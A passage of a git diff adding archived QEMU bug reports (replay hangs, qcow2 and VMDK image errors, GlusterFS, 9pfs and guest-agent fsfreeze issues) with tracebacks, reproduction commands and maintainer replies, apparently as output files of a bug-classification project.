+16:34:47 DEBUG| [ 0.035347] Spectre V2 : Spectre v2 / SpectreRSB mitigation: Filling RSB on context switch +16:34:47 DEBUG| [ 0.035667] +16:36:02 ERROR| +16:36:02 ERROR| Reproduced traceback from: /home/cleber/src/avocado/avocado/avocado/core/test.py:767 +16:36:02 ERROR| Traceback (most recent call last): +16:36:02 ERROR| File "/var/lib/users/cleber/build/qemu/tests/acceptance/replay_kernel.py", line 92, in test_x86_64_pc +16:36:02 ERROR| self.run_rr(kernel_path, kernel_command_line, console_pattern, shift=5) +16:36:02 ERROR| File "/var/lib/users/cleber/build/qemu/tests/acceptance/replay_kernel.py", line 73, in run_rr +16:36:02 ERROR| False, shift, args, replay_path) +16:36:02 ERROR| File "/var/lib/users/cleber/build/qemu/tests/acceptance/replay_kernel.py", line 55, in run_vm +16:36:02 ERROR| self.wait_for_console_pattern(console_pattern, vm) +16:36:02 ERROR| File "/var/lib/users/cleber/build/qemu/tests/acceptance/boot_linux_console.py", line 53, in wait_for_console_pattern +16:36:02 ERROR| vm=vm) +16:36:02 ERROR| File "/var/lib/users/cleber/build/qemu/tests/acceptance/avocado_qemu/__init__.py", line 130, in wait_for_console_pattern +16:36:02 ERROR| _console_interaction(test, success_message, failure_message, None, vm=vm) +16:36:02 ERROR| File "/var/lib/users/cleber/build/qemu/tests/acceptance/avocado_qemu/__init__.py", line 82, in _console_interaction +16:36:02 ERROR| msg = console.readline().strip() +16:36:02 ERROR| File "/usr/lib64/python3.7/socket.py", line 575, in readinto +16:36:02 ERROR| def readinto(self, b): +16:36:02 ERROR| File "/home/cleber/src/avocado/avocado/avocado/plugins/runner.py", line 77, in sigterm_handler +16:36:02 ERROR| raise RuntimeError("Test interrupted by SIGTERM") +16:36:02 ERROR| RuntimeError: Test interrupted by SIGTERM +16:36:02 ERROR| + +On my workstation, I can replicate the failure roughly once every 50 runs. + +I'm actually able to increase the reproducibility to ~ 90% when running 8 of those tests simultaneously (on an 8 core system). + +I can 100% reproduce it with the following command line: +taskset 1 tests/venv/bin/avocado --show=app,console,replay run -t arch:x86_64 ../tests/acceptance/replay_kernel.py + +But I can't reproduce it outside the avocado toolchain, by running qemu directly. + +I traced this bug to hw/char/serial.c/serial_ioport_read + +Bug disappears when I add qemu_log("serial_ioport_read %x %x\n", (int)addr, ret); into the end of this function. + +I suppose that there is avocado (or socket) io synchronization problem, because running the same test without avocado works normally. + +I could reproduce this without Avocado: + +-- +#!/bin/bash + +SOCKET="/tmp/qemu.sock" +VMLINUZ_PATH="/tmp/vmlinuz" +REPLAY_FILE="/tmp/replay.bin" + +function run_and_wait() { + /usr/bin/qemu-system-x86_64 -display none \ + -vga none \ + -machine pc \ + -chardev socket,id=console,path=${SOCKET},server=on,wait=off \ + -serial chardev:console \ + -icount shift=5,rr=$1,rrfile=${REPLAY_FILE} \ + -kernel ${VMLINUZ_PATH} \ + -append "printk.time=1 panic=-1 console=ttyS0" -net none -no-reboot & + # Wait a little for the socket creation + sleep 1 + socat - UNIX-CONNECT:${SOCKET} + echo $? +} + + +run_and_wait "record" +echo "Was this (record) finished?" + +run_and_wait "replay" +echo "Was this (replay) finished?" +-- + +The second echo is never displayed and my console stops here: + +--- +[ 0.036667] Speculative Store Bypass: Vulnerable +[ 0.256061] random: fast init done +[ 0.308652] Freeing SMP alternatives memory: 36K +--- + +I was able to run the reproducer from Beraldo Leal, and achieved the same results. + +Additionally, I got the following output from QEMU: + + qemu-system-x86_64: Missing character write event in the replay log + +Which seems to come from replay/replay-char.c:158. + +I then tested the record and replay separately, and found that, while the above message is given and QEMU exits at the replay phase, the amount of CPUs given to the *record* stage actually make the difference. When the recording is done with a single CPU, the replay log seems to be written with the "missing character write event". + +Beraldo, thanks for the script. +However, I can't reproduce the bug using it. I've got the newest QEMU from the repository, and it never hangs in this scenario. + +But there are some problems in other runs with more complex tasks. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know which bugs are still valid and which could be +closed already. Thus we are setting the bug state to "Incomplete" now. + +If the bug has already been fixed in the latest upstream version of QEMU, +then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here is still +valid, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/1093360 b/results/classifier/deepseek-1/output/files/1093360 new file mode 100644 index 00000000..3dbc9376 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1093360 @@ -0,0 +1,19 @@ + +files on microsoft iso images mounted to qemu VM get stripped from Version info. E.G. Microsoft UAG installation fails + +QEMU 0.9.0-0.14.1 +KVM 60-88-0.14.1 +there is a reference for a root cause, why installation of Microsoft UAG fails. +http://blogs.technet.com/b/isablog/archive/2010/07/13/another-tmg-2010-installation-failure-with-error-0x80070643.aspx + +when checking available information on the mounted UAG ISO in my qemu machine, I realized simliar reduced information. +this was found: +using AQEMU 0.8.2 of 2011.07.27 + +using QEMU 0.9.0-0.14.1 and KVM 60-88-0.14.1 +in an KVM managed machine + +Can you still reproduce this problem wit the latest release of QEMU (currently version 2.9.0), or could we close this bug nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/1253465 b/results/classifier/deepseek-1/output/files/1253465 new file mode 100644 index 00000000..9c502b2b --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1253465 @@ -0,0 +1,62 @@ + +qemu-img: 'image' uses a vmdk feature which is not supported by this qemu version: VMDK version 3 + +qemu-img convert in.vmdk -O RAW out.img + +Fails with: +qemu-img: 'image' uses a vmdk feature which is not supported by this qemu version: VMDK version 3 + +qemu-img version 1.6.1 + +On Wed, Nov 20, 2013 at 11:00:14PM -0000, adrelanos wrote: +> qemu-img convert in.vmdk -O RAW out.img +> +> Fails with: +> qemu-img: 'image' uses a vmdk feature which is not supported by this qemu version: VMDK version 3 +> +> qemu-img version 1.6.1 + +This is a known issue. VMware has not released the file format +specification for VMDK version 3. At this point the information needed +to implement version 3 support is not publicly available. + +If you are aware of open source software which already supports version +3, please let us know! + +Fam: Do you have instructions for exporting version 2 images from +VMware? + +Stefan + + +> If you are aware of open source software which already supports version 3, please let us know! + +VirtualBox can. + +- VirtualBox uses VMDK version 3 disks. +- When you export a VM with VirtualBox (creating an .ova), it will include VMDK version 3 disks. +- VirtualBox can convert from vmkd to vdi. ('VBoxManage clonehd --format VDI "vmdk_file" "vdi_file"') + +Does that help? + + +On Sat, 01/07 21:36, Patrick Schleizer wrote: +> > If you are aware of open source software which already supports +> version 3, please let us know! +> +> VirtualBox can. +> +> - VirtualBox uses VMDK version 3 disks. +> - When you export a VM with VirtualBox (creating an .ova), it will include VMDK version 3 disks. +> - VirtualBox can convert from vmkd to vdi. ('VBoxManage clonehd --format VDI "vmdk_file" "vdi_file"') +> +> Does that help? + +Can you try again with QEMU 2.8? Recent versions of QEMU should be able to +handle version 3 VMDK disks. + +Fam + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/1349972 b/results/classifier/deepseek-1/output/files/1349972 new file mode 100644 index 00000000..9f3089b3 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1349972 @@ -0,0 +1,41 @@ + + qcow2-refcount: qemu-io crashes on 'discard' command + +qemu-io is killed by SIGIOT at the 'discard' command on the image having no refcount information. + +Sequence: +1. Unpack test.img and backing_img.qed in the same directory (see the attached archives for images) +2. Make a copy of test.img to copy.img (qemu-io modifies the image before being kill, therefore the image backup is necessary) +3. Run the command + +qemu-io copy.img -c 'discard 2210816 2856448' + +Result: qemu-io is killed by SIGIOT with the reason: + +qemu-io: block/qcow2-refcount.c:468: update_refcount_discard: Assertion `d->bytes + length == new_end - new_start' failed. + + +The image was generated by the image fuzzer. + +qemu.git HEAD: 1d80eb7a680d + + + +FWIW: + +While trying to restore (apply) a snapshot on a Windows VM (ie: qemu-img snapshot -a snapshotname windows.qcow2 where the image file is 150gb in size,) I got the above error: + +qemu-img: /build/buildd/qemu-2.0.0+dfsg/block/qcow2-refcount.c:467: update_refcount_discard: Assertion `d->bytes + length == new_end - new_start' failed. + +(My VM is now broken.) + +This is the only reference that I found using Google. + +HTH + +I sent a patch that fixes the original problem that Maria reported. It's hard to say whether this is the same problem as you saw, Sam, but it's quite possible. + +Fix has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=ecbda7a22576591a84 +... so I think it should be OK now to mark this ticket as fixed. + diff --git a/results/classifier/deepseek-1/output/files/1450891 b/results/classifier/deepseek-1/output/files/1450891 new file mode 100644 index 00000000..cfada623 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1450891 @@ -0,0 +1,32 @@ + +VM will not resume on GlusterFS + +oVirt uses libvirt to run QEMU. +Images are passed to QEMU as files, not file descriptors. +When running images from a GlusterFS, the file descriptors may get invalidated because of network problems or the glusterfs process being restarted. +In this case, the VM goes into paused state. +When trying to resume the VM ('cont' command), QEMU uses the same invalidated file descriptors throwing a: +"block I/O error in device 'drive-virtio-disk0': Transport endpoint is not connected (107)". + +Please check file-descriptors and reopen image file on 'cont' event in QEMU. +Thanks. + +References: + +[1] http://lists.nongnu.org/archive/html/qemu-devel/2015-03/msg01269.html +[2] https://bugzilla.redhat.com/show_bug.cgi?id=1058300 + +We can't just reopen files, we don't know what state they are in. Any data that has been written to the image between the last flush and the point where gluster made the fd invalid may be there or may be missing. If any data is missing, we can't continue the guest or you'll get data corruption. + +The correct fix for resuming after I/O errors is on gluster. As long as it invalidates the fd, without a way to resume, there is no way for qemu to correctly continue after an error. + +Hi Kevin, + +I understand. In this case (where the gluster process was killed or crashed) I guess the best option would be to poweroff and restart the VM, which can be done client-side (ovirt + libvirt) + +Please mark as "Won't fix". + +Thanks. + +Marking as "Won't Fix" according to the last comment. + diff --git a/results/classifier/deepseek-1/output/files/1452062 b/results/classifier/deepseek-1/output/files/1452062 new file mode 100644 index 00000000..7a519f6e --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1452062 @@ -0,0 +1,46 @@ + +qemu-img will fail to convert images in 2.3.0 + +Hello guys, + + There seems to be a bug in qemu-img with 2.3.0 that wasn't there in 2.2.1 .... qemu convert will always fail converting. See the output below: + + +Started by upstream project "Create windows image" build number 73 +originally caused by: + Started by user anonymous +Building remotely on builder (builder lab) in workspace /var/lib/jenkins/remote/workspace/Prepare windows Image +[Prepare WS2008R2 Image] $ /bin/sh -xe /tmp/hudson4138890034689910617.sh ++ sudo bash -x /var/images/prepare_windows.sh WS2008R2 ++ set +x + +Preparing: windows +Virtio CD: virtio-win-0.1.96.iso + +Sparsifying... +qemu-img: error while compressing sector 11131648: Input/output error +virt-sparsify: error: external command failed: qemu-img convert -f +qcow2 -O 'qcow2' -c -o 'compat=0.10' '/tmp/sparsifyb459a0.qcow2' +'/var/images/generated/WS2008R2.qcow2' + +virt-sparsify: If reporting bugs, run virt-sparsify with debugging +enabled (-v) and include the complete output. +Build step 'Execute shell' marked build as failure +Warning: you have no plugins providing access control for builds, so falling back to legacy behavior of permitting any downstream builds to be triggered +Finished: FAILURE + +Thanks, +Dave + +I can't reproduce this. qemu-img convert works just fine here. + +qemu-img convert -f qcow2 -O qcow2 -c -o compat=0.10 x.img y.img + +(from a random winXP guest image). + +The only possibly relevant change I can see in 2.3 is that the qcow2 driver added an additional error check to a truncate operation. Can you please run qemu-img under strace -f and either provide the output as an attachment or paste the relevant failing call(s) if you can recognise them? + +I rolled back QEMU to 2.2.1 and it succeeded converting the image ... I'll try to see if I can re-upgrade QEMU without breaking again the CI we have here. + +This problem is fixed with commit 3e5feb62 ("qcow2: Handle EAGAIN returned from update_refcount"), which will be included in qemu 2.4.0. + diff --git a/results/classifier/deepseek-1/output/files/1481654 b/results/classifier/deepseek-1/output/files/1481654 new file mode 100644 index 00000000..b2ff6399 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1481654 @@ -0,0 +1,42 @@ + +libcacard.pc paths are not modified when configure prefix is + +Ubuntu Server 15.04 Gnome +Qemu sources from master git://git.qemu-project.org/qemu.git 2.4.0-rc3 SHA 2be4f242 + +Built with: +make distclean +./configure --target-list=x86_64-softmmu \ + --cpu=x86_64 \ + --enable-virtfs \ + --enable-kvm \ + --enable-spice \ + --enable-usb-redir \ + --enable-libusb \ + --audio-drv-list=oss,alsa,sdl,pa \ + --enable-uuid \ + --enable-libnfs \ + --enable-libssh2 \ + --prefix=/usr --sysconfdir=/etc --localstatedir=/var + +make -j6 + +Yet, /usr/lib/libcacard.pc: +prefix=/usr/local +exec_prefix=${prefix} +libdir=/usr/local/lib +includedir=/usr/local/include/cacard + +Name: cacard +Description: CA Card library +Version: 2.3.50 + +Requires.private: nss glib-2.0 +Libs: -L${libdir} -lcacard +Libs.private: +Cflags: -I${includedir} + +This issue affects the building of spice-client-gtk (http://cgit.freedesktop.org/spice/spice-gtk/) which expects correct paths in that file. + +Since QEMU 2.5, libcacard is now an external project (see http://www.spice-space.org/page/Libcacard), so this should not be a problem anymore. + diff --git a/results/classifier/deepseek-1/output/files/1563931 b/results/classifier/deepseek-1/output/files/1563931 new file mode 100644 index 00000000..314e055c --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1563931 @@ -0,0 +1,23 @@ + +qemu-img should allow resizing image with snapshots + +Currently it's not possible to resize a disk image with qemu-img if image in question has snapshots associated. I'm not entirely sure this is technically possible but if it is, it would be really nice to support that. + +$ qemu-img --version +qemu-img version 2.4.1 (qemu-2.4.1-8.fc23), Copyright (c) 2004-2008 Fabrice Bellard + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +Implemented in 7fa140abf69675b7b83af32de. Note that every internal snapshot has a disk size associated with it, though, so applying a snapshot from when the image had a different size means the image size will be reverted to what it was as the time of the snapshot. + diff --git a/results/classifier/deepseek-1/output/files/1644754 b/results/classifier/deepseek-1/output/files/1644754 new file mode 100644 index 00000000..b7e55e35 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1644754 @@ -0,0 +1,107 @@ + +gluster partial reads refusal conflicts with qcow2 + +there is an inconsistency in how qemu creates qcow2 files, which causes an error in the gluster (and possibly other block drivers) + +the problem is that the gluster backend expects the filesize to be 512 byte aligned, which is not the case anymore since 2.7.0 when using the file backend for qcow2 files with a backing file + +the error is then +Could not open 'gluster://gluster01/gv0/bar2.qcow2': Could not read L1 table: Input/output error + +steps to reproduce: + + * create a.qcow2 + * create b.qcow2 with a.qcow2 as base via filesystem (without gluster) + b.qcow2 filesize is not a multiple of 512 bytes + * move both files to a gluster share + * access to b.qcow2 via gluster block driver fails + +example: + +have a gluster server at 'gluster01' with a volume 'gv0' (gluster versions tested: 3.7.15,3.8.5,3.8.5) + +root@pc:~# mount -t glusterfs gluster01:/gv0 /mnt/gluster +root@pc:~# qemu-img create -f qcow2 gluster://gluster01/gv0/foo.qcow2 100M +Formatting 'gluster://gluster01/gv0/foo.qcow2', fmt=qcow2 size=104857600 encryption=off cluster_size=65536 lazy_refcounts=off refcount_bits=16 +root@pc:~# qemu-img info /mnt/gluster/foo.qcow2 +image: /mnt/gluster/foo.qcow2 +file format: qcow2 +virtual size: 100M (104857600 bytes) +disk size: 193K +cluster_size: 65536 +Format specific information: + compat: 1.1 + lazy refcounts: false + refcount bits: 16 + corrupt: false +root@pc:~# qemu-img info gluster://gluster01/gv0/foo.qcow2 +image: gluster://gluster01/gv0/foo.qcow2 +file format: qcow2 +virtual size: 100M (104857600 bytes) +disk size: 193K +cluster_size: 65536 +Format specific information: + compat: 1.1 + lazy refcounts: false + refcount bits: 16 + corrupt: false +root@pc:~# qemu-img create -f qcow2 -b foo.qcow2 gluster://gluster01/gv0/bar.qcow2 +Formatting 'gluster://gluster01/gv0/bar.qcow2', fmt=qcow2 size=104857600 backing_file=foo.qcow2 encryption=off cluster_size=65536 lazy_refcounts=off refcount_bits=16 +root@pc:~# qemu-img info /mnt/gluster/bar.qcow2 +image: /mnt/gluster/bar.qcow2 +file format: qcow2 +virtual size: 100M (104857600 bytes) +disk size: 193K +cluster_size: 65536 +backing file: foo.qcow2 (actual path: /mnt/gluster/foo.qcow2) +Format specific information: + compat: 1.1 + lazy refcounts: false + refcount bits: 16 + corrupt: false +root@pc:~# qemu-img info gluster://gluster01/gv0/bar.qcow2 +image: gluster://gluster01/gv0/bar.qcow2 +file format: qcow2 +virtual size: 100M (104857600 bytes) +disk size: 193K +cluster_size: 65536 +backing file: foo.qcow2 (actual path: gluster://gluster01/gv0/foo.qcow2) +Format specific information: + compat: 1.1 + lazy refcounts: false + refcount bits: 16 + corrupt: false +root@pc:~# qemu-img create -f qcow2 -b foo.qcow2 /mnt/gluster/bar2.qcow2 +Formatting '/mnt/gluster/bar2.qcow2', fmt=qcow2 size=104857600 backing_file=foo.qcow2 encryption=off cluster_size=65536 lazy_refcounts=off refcount_bits=16 +root@pc:~# qemu-img info /mnt/gluster/bar2.qcow2 +image: /mnt/gluster/bar2.qcow2 +file format: qcow2 +virtual size: 100M (104857600 bytes) +disk size: 193K +cluster_size: 65536 +backing file: foo.qcow2 (actual path: /mnt/gluster/foo.qcow2) +Format specific information: + compat: 1.1 + lazy refcounts: false + refcount bits: 16 + corrupt: false +root@pc:~# qemu-img info gluster://gluster01/gv0/bar2.qcow2 +qemu-img: Could not open 'gluster://gluster01/gv0/bar2.qcow2': Could not read L1 table: Input/output error +root@pc:~# ls -l /mnt/gluster/ +total 578 +-rw-r--r-- 1 root root 196616 Nov 25 09:07 bar2.qcow2 +-rw------- 1 root root 197120 Nov 25 09:07 bar.qcow2 +-rw------- 1 root root 197120 Nov 25 09:06 foo.qcow2 +drwxr-xr-x 6 root root 46 Nov 24 16:51 images + +here you can see that the file created with directory path is not 512 byte aligned, while the one created through the gluster api is + +also, when creating a qcow2 with the nfs block driver, the filesize is also a multiple of 512, but reading a non aligned file with nfs works however + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting all older bugs to +"Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/1672365 b/results/classifier/deepseek-1/output/files/1672365 new file mode 100644 index 00000000..336f867d --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1672365 @@ -0,0 +1,54 @@ + +nested 9pfs read fail + +tl;dr: A virtfs read fails. The init being on this virtfs (mounted by the initrd), the linux kernel guest is unable to boot, and kernel panics. The fact that qemu still takes 100%cpu after the kernel panic makes me think it's a qemu bug. + +Here is the setup (some hashes replaced with "..."): + * A (NixOS) host system, with /nix/store as a btrfs on lvm on cryptsetup + * Running a qemu-kvm NixOS guest, with /nix/.ro-store as a virtfs mapping to host /nix/store: +``` +exec /nix/store/...-qemu-x86-only-for-vm-tests-2.8.0/bin/qemu-kvm \ + -name test \ + -m 8192 \ + -cpu kvm64 \ + -net nic,vlan=0,model=virtio -net user,vlan=0 \ + -virtfs local,path=/nix/store,security_model=none,mount_tag=store \ + -virtfs local,path=/tmp/nix-vm..../xchg,security_model=none,mount_tag=xchg \ + -virtfs local,path=/tmp/nix-vm..../xchg,security_model=none,mount_tag=shared \ + -drive index=0,id=drive1,file=/home/ekleog/nixos/test.qcow2,if=virtio,cache=writeback,werror=report \ +-kernel /nix/store/...-nixos-system-test-17.09.git.deee8da/kernel \ +-initrd /nix/store/...-nixos-system-test-17.09.git.deee8da/initrd \ +-append "$(cat /nix/store/...-nixos-system-test-17.09.git.deee8da/kernel-params) init=/nix/store/...-nixos-system-test-17.09.git.deee8da/init regInfo=/nix/store/...-reginfo" \ + -vga std -usbdevice tablet +``` + * With /nix/store as an overlayfs between /nix/.ro-store and /nix/.rw-store + * Running a qemu-kvm NixOS guest, with /nix/.ro-store as a virtfs mapping to host /nix/store/...-vm-nginx-store: +``` +/nix/store/...-qemu-2.8.0/bin/qemu-kvm \ + -name nginx -m 128 -smp 2 -cpu kvm64 \ + -nographic -serial unix:"/var/lib/vm/consoles/nginx/socket.unix",server,nowait \ + -drive file="/var/lib/vm/images/nginx.img",if=virtio,media=disk \ + -virtfs local,path="/nix/store/...-vm-nginx-store",security_model=none,mount_tag=store \ + -netdev type=tap,id=net0,ifname=vm-nginx,script=no,dscript=no -device virtio-net-pci,netdev=net0,mac=56:00:00:00:00:01 \ + -kernel /nix/store/...-nixos-system-nginx-17.09.git.deee8da/kernel \ + -initrd /nix/store/...-nixos-system-nginx-17.09.git.deee8da/initrd \ + -append "$(cat /nix/store/...-nixos-system-nginx-17.09.git.deee8da/kernel-params) init=/nix/store/...-nixos-system-nginx-17.09.git.deee8da/init console=ttyS0 boot.shell_on_fail" \ + -virtfs local,path="/var/lib/vm/persist/nginx/home",security_model=mapped-xattr,mount_tag="shared1" \ + -virtfs local,path="/var/lib",security_model=mapped-xattr,mount_tag="shared2" \ + -virtfs local,path="/tmp",security_model=mapped-xattr,mount_tag="shared3" +``` + * With /nix/store as an overlayfs between /nix/.ro-store and /nix/.rw-store + * With init in /nix/store + +What happens is that at boot time the inner VM doesn't manage to read the init script after the initrd has mounted the 9pfs and overlayfs. + +What makes me think it's a qemu bug is that htop in the outer VM shows the inner VM's qemu as using 100% cpu, despite the fact the kernel it's running is under kernel panic, thus doing nothing. + +What do you think about this? + +Oh, I forgot to mention: it first worked for some time, then in the middle of a shell session running over a screen /var/lib/vm/consoles/nginx/screen from the outer VM (socat-linked to /var/lib/vm/consoles/nginx/socket.unix to provide a predictable pty link), the 9pfs stopped returning any data, and it didn't go away after a reboot of the inner VM, as it then no longer managed to boot. + +I was unfortunately unable to identify exactly which operation caused the thing to "stop working", but I'd say it is due to zsh's path-full autocompletion in paths including directories with ~700 entries, without being certain of that. + +Hmm, actually it looks like a kernel in kernel panic always takes 100% CPU (just got another unrelated one), so I guess it's not necessarily a qemu bug but can arise from anywhere in the stack. I'm marking the bug as invalid as a consequence. + diff --git a/results/classifier/deepseek-1/output/files/1673957 b/results/classifier/deepseek-1/output/files/1673957 new file mode 100644 index 00000000..9abe3ed8 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1673957 @@ -0,0 +1,38 @@ + +virtfs: mapped-xattr on mount point + +With + -virtfs local,path="/tmp",security_model=mapped-xattr,mount_tag="shared2" +in the qemu command line, + shared2 on /mnt/testbis type 9p (rw,sync,dirsync,relatime,trans=virtio,version=9p2000.L,msize=262144) +in the guest mount points, and + tmpfs on /tmp type tmpfs (rw,nosuid,nodev) +in the host mount points (with CONFIG_TMPFS_XATTR=y according to zgrep /proc/config.gz), running qemu as user "vm-test", trying to "touch a" in /mnt/testbis on the VM fails with "Operation not supported". In addition, no file or directory actually present in the host's /tmp can be seen in the guest's /mnt/testbis. + +When trying to replace "/tmp" with "/tmp/aaa" on the host, with /tmp/aaa owned by root:root, still running qemu as vm-test, trying to run "ls" in the guest's /mnt/testbis fails with the weird "ls: reading directory '.': Cannot allocate memory", while the directory is empty. + +After a "chown vm-test /tmp/aaa", the guest can list the files (despite the permissions already allowing it to do so before), but still not write new files: "cannot touch 'b': Operation not supported". + +Do you have a pointer as to what is happening? + +PS: complete setup is running all this inside a qemu VM that I use for testing, I guess it shouldn't matter but saying it just in case + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting all older bugs to +"Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + + +Independent of the planned tracker transition: this issue would require more information by original reporter anyway. + +From the information provided so far, I cannot reproduce this problem, and the error messages don't look like common misconfigurations on host side like wrong permissions, AppArmor policies or something like that. Especially the error message "Cannnot allocate memory" looks weird to me. So I think there should at least be more details about the host system this was deployed on. + +Hmm… so this dates back quite long ago unfortunately, I had basically forgotten about this bug report as I had opened it while just experimenting with qemu. + +To the best of my recollection, this was happening with a NixOS, either 16.09, 17.03 or unstable, at an update that was probably within 0-2 months of the time I made the bug report. + +Now, I guess the best may be to just close as can't reproduce, as I no longer have the code originally used to trigger the issue anyway? + +Either way, thank you for your feedback! + +Thanks for your answer! ... since this is not reproducible anymore, I'm closing the ticket now. + diff --git a/results/classifier/deepseek-1/output/files/1685526 b/results/classifier/deepseek-1/output/files/1685526 new file mode 100644 index 00000000..804fc769 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1685526 @@ -0,0 +1,19 @@ + +UEFI firmware can't write to "fake" FAT hard disk + +Using the Tianocore OVMF UEFI firmware, a UEFI application cannot write to the emulated fat disk (-hda fat:rw:path/here). A file will get created or written, but will be corrupted. + +Looking through old bug tickets ... When reporting issues, please provide proper information on the versions that you were using (QEMU, OVMF, ...) and complete information about which command line parameters you used to start QEMU. + +Out of scope; please see my (independent, more recent) replies here: + +[edk2-devel] OVMF/QEMU shell based unit tests and writing to a virtual disk + +https://edk2.groups.io/g/devel/message/66655 +https://edk2.groups.io/g/devel/message/66656 + +(alternative links: +https://www.redhat.com/archives/edk2-devel-archive/2020-October/msg00877.html +https://www.redhat.com/archives/edk2-devel-archive/2020-October/msg00878.html +) + diff --git a/results/classifier/deepseek-1/output/files/1761153 b/results/classifier/deepseek-1/output/files/1761153 new file mode 100644 index 00000000..672e2708 --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1761153 @@ -0,0 +1,33 @@ + +qemu-user incorrect mmap for large files on 64bits host and 32bits executable. + +qemu-user seems to incorrectly mmap a file if the offset is > 4GiB and guest binary is 32 bits elf. + +See attached test program `test_mmap.c`. + +``` +$ gcc -g -m32 -march=i386 test_mmap.c -o test_mmap +$ file test_mmap +test_mmap: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e36db05f4dfd8a9cfde8a969214a242c1f5a4b49, with debug_info, not stripped +$ uname -a +Linux localhost.localdomain 4.15.10-300.fc27.x86_64 #1 SMP Thu Mar 15 17:13:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux +$ qemu-i386 --version +qemu-i386 version 2.10.1(qemu-2.10.1-2.fc27) +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers +$ ./test_mmap +$ qemu-i386 test_mmap +Incorrect data 1 +``` + +Tested with qemu-i386 packaged in Fedora 27 and qemu-i386 compiled from git master (094b62cd9c) + +The issue was firstly detected on (more complex program) using qemu-arm (with 32bits binary) so it is probably a 32/64bits problem independently of the cpu family. + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/files/1807073 b/results/classifier/deepseek-1/output/files/1807073 new file mode 100644 index 00000000..1ddd4c1b --- /dev/null +++ b/results/classifier/deepseek-1/output/files/1807073 @@ -0,0 +1,90 @@ + +qemu-guest-agent stop work when fsfreeze + +Create a live snapshot, we should first to fsfreeze the file system. We do have only one disk mounted to /: +Filesystem Size Used Avail Use% Mounted on +udev 48G 0 48G 0% /dev +tmpfs 9.5G 8.7M 9.5G 1% /run +/dev/vda1 485G 1.5G 484G 1% / +tmpfs 48G 0 48G 0% /dev/shm +tmpfs 5.0M 0 5.0M 0% /run/lock +tmpfs 48G 0 48G 0% /sys/fs/cgroup +tmpfs 9.5G 0 9.5G 0% /run/user/0 + +snapshot action is OK, when we restore the snapshot, the file system became read-only, and syslog seems stop writing until we fsck /dev/vda1 and mount -o rw,remount /: +Dec 5 00:39:16 systemd[1]: Started Session 180 of user root. +Dec 5 00:45:05 qemu-ga: info: guest-fsfreeze called +Dec 5 07:00:45 kernel: [ 114.623823] EXT4-fs (vda1): re-mounted. Opts: (null) + +So after snapshoting, wo do fsthaw the file system, maybe the qga dose not respond or stop work, this action dose not execute successfully and there is no log to show the status of qemu-guest-agent. + +Version: +libvirt 1.2.17 +qemu 2.3.0 +qemu-guest-agent 2.5 + +Just got almost the same +Ubuntu 16.04 as guest on Centos 7 host, +all will latest updates. + +Execute of +virsh qemu-agent-command inetgw2 '{"execute":"guest-fsfreeze-freeze"}' + +failed with agent not available ( or something like this), but fsfreeze executed in OS +Apr 7 02:28:54 inetgw2 qemu-ga: info: guest-fsfreeze called + +snapshot was created +after this +virsh qemu-agent-command inetgw2 '{"execute":"guest-fsfreeze-thaw"}' +failed too with agent not available + +So Ubuntu 16.04 VM stuck in freezed i/o state. + qemu-guest-age 1:2.5+dfsg-5 + +Same version... + +Thank you! + +btw,I run OEL7 VM on the same host and Ubuntu 18.04 VM, +both have newer qemu-guest-agent: + +18.04: qemu-guest-age 1:2.11+dfsg- + +OEL7: rpm 